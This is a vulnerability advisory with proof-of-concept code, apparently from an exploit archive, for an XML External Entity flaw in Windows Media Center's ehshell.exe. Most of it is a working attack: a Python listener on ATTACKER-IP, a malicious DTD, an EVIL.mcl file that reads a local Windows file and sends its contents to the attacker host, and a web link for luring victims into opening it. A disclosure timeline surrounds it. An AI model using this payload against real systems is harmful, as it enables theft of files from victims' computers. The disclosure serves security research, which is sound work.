Microsoft Windows Media Center ehshell.exe XML External Entity Vulnerability

[+] Credits: John Page aka hyp3rlinx

Vendor:
==================
www.microsoft.com



Product:
==================================
Windows Media Center "ehshell.exe"
version 6.1.7600



Vulnerability Type:
====================
XML External Entity



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Windows Media Center "ehshell.exe" is vulnerable to XML External Entity attack allowing remote access to ANY files on a victims computer, if they open
an XXE laden ".mcl" file via a remote share / USB or from an malicious "windowsmediacenterweb" web link.

Sometimes 'Windows Media Center' will crash, sometimes opens normally and other times will not open, but the files get accessed and exfiltrated.


Tested Windows 7 SP1



Exploit code(s):
===============

POC exfiltrate "msdfmap.ini" used by MS ADO Remote Data Services.


1) ATTACKER-IP listener
python -m SimpleHTTPServer 8080



2) Create the "FindMeThatBiotch.dtd" DTD file with below contents (host on ATTACKER-IP in directory where python server is listen)

<!ENTITY % param666 "<!ENTITY &#x25; FindMeThatBiotch SYSTEM 'http://ATTACKER-IP:8080/%data666;'>">



3) Create the "EVIL.mcl" file.


<?xml version="1.0"?>
<!DOCTYPE hyp3rlinx [
<!ENTITY % data666 SYSTEM "c:Windowsmsdfmap.ini">
<!ENTITY % junk SYSTEM "http://ATTACKER-IP:8080/FindMeThatBiotch.dtd">
%junk;
%param666;
%FindMeThatBiotch;
]>



4) Get victim to open the EVIL.mcl ... enjoy your files!

OR create link on webpage to run the file, but "user has to consent first".

<a href="windowsmediacenterweb://ATTACKER-IP:8080/EVIL.mcl">XXE POC</a>



Disclosure Timeline:
=======================================
Vendor Notification: September 1, 2016
Vendor opens Case 34970: September 6, 2016
Vendor reply "Wont Fix" : October 19, 2016
December 4, 2016 : Public Disclosure

#  0day.today [2018-04-09]  #